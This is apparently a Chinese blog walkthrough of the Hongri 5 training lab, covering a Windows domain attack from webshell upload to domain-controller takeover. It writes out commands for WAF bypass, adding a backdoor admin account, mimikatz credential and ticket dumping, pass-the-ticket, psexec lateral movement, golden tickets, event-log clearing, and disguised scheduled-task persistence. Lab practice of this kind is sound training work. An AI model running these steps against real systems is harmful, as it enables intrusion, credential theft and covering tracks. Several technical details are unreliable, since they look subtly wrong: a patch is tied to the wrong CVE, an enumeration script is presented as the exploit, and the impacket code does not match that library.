☰
红日靶场5渗透测试实战:从Web攻入到域控提权
2026/10/26 8:28:55 网站建设 项目流程

1. 红日靶场环境概述

红日靶场是国内安全圈广泛使用的渗透测试实战平台,其第五版(红日靶场5)在2023年进行了全面升级。这个环境模拟了企业内网中常见的Windows域渗透场景,包含DC域控服务器、Web应用服务器、文件服务器等多台互联主机,复现了OWASP Top 10漏洞、Windows提权漏洞、横向移动技术等28个典型攻击面。

我在实际测试中发现,这个靶场特别适合练习以下技能:

  • 从外网Web渗透突破边界
  • 基于漏洞的权限提升操作
  • 域内信息收集与横向移动
  • 权限维持与痕迹清理

注意:红日靶场镜像文件需从官网(hongri.sec)下载,安装时建议使用VMware Workstation 16+版本,分配内存建议不低于8GB

2. 靶场拓扑与初始信息

2.1 网络架构解析

红日5的典型拓扑如下:

外网段(192.168.1.0/24) ├── Web服务器(192.168.1.100) - IIS + PHP ├── 防火墙(模拟WAF规则) 内网段(10.10.10.0/24) ├── 域控DC(10.10.10.10) - Windows Server 2016 ├── 文件服务器(10.10.10.20) - SMB共享 └── 办公PC(10.10.10.30) - Windows 10

2.2 已知凭证清单

官方提供的初始信息包括:

  • Web后台登录:admin/Admin@123
  • 数据库连接:sa/Admin@1234
  • 域用户:user1/User@123

3. 外网渗透突破路径

3.1 Web应用漏洞利用

首先对192.168.1.100进行端口扫描:

nmap -sV -Pn 192.168.1.100

发现开放80(IIS)、3306(MySQL)、3389(RDP)端口。通过目录扫描找到/admin登录页面,使用初始凭证admin/Admin@123进入后,发现存在文件上传漏洞:

  1. 上传.aspx马时被WAF拦截
  2. 改用.jpg后缀+Burp改包绕过
  3. 通过中国菜刀连接获取webshell

3.2 权限提升技巧

获取webshell后执行whoami显示为iis apppool\defaultapppool,需要提权至system:

# 检查系统补丁 systeminfo | findstr KB # 发现缺失KB2871997补丁 # 使用CVE-2018-8120提权 upload PrivescCheck.ps1 Import-Module .\PrivescCheck.ps1 Invoke-AllChecks

通过漏洞利用成功添加管理员账户:

net user hacker P@ssw0rd /add net localgroup administrators hacker /add

4. 内网横向移动实战

4.1 域信息收集方法

获取域控信息:

# 获取当前域 [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() # 查询域管理员 net group "Domain Admins" /domain # 查找域控 nltest /dclist:redteam

4.2 票据传递攻击

使用mimikatz抓取内存票据:

privilege::debug sekurlsa::logonpasswords sekurlsa::tickets /export

将获取的kirbi文件注入到当前会话:

Invoke-Mimikatz -Command '"kerberos::ptt C:\temp\admin.kirbi"'

4.3 SMB横向渗透

利用psexec进行横向移动:

import impacket from impacket.examples import psexec username = 'user1' password = 'User@123' domain = 'redteam' target = '10.10.10.20' executor = psexec.PSEXEC('', username, password, domain, 'cmd.exe', target) executor.run()

5. 权限维持与痕迹清理

5.1 黄金票据制作

获取krbtgt的NTLM hash后:

kerberos::golden /user:Administrator /domain:redteam /sid:S-1-5-21-123456789 /krbtgt:hashvalue /ptt

5.2 日志清除方案

使用wevtutil清理日志:

wevtutil cl Security wevtutil cl System wevtutil cl Application del C:\Windows\Temp\* /q /s

5.3 隐藏后门部署

创建计划任务持久化:

schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\System32\cmd.exe" /sc minute /mo 30 /ru SYSTEM

6. 靶场攻防经验总结

在实际演练中我发现了几个关键点:

  1. Web渗透阶段要注意WAF规则,通过大小写混淆、注释符插入等方式绕过
  2. 域渗透时SPN扫描比常规端口扫描更隐蔽
  3. 使用BloodHound可视化工具能快速理清攻击路径
  4. 清除日志前要先导出备份,方便复盘学习

红日靶场5相比前几版新增了以下防御机制:

  • 增加了EDR对mimikatz的检测
  • 设置了蜜罐账户
  • 关键服务部署了双因素认证

建议在完成基础路径后,尝试以下进阶挑战:

  • 在不触发EDR的情况下获取域控权限
  • 通过DNS隧道实现C2通信
  • 利用DFIR技术对抗蓝队溯源

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询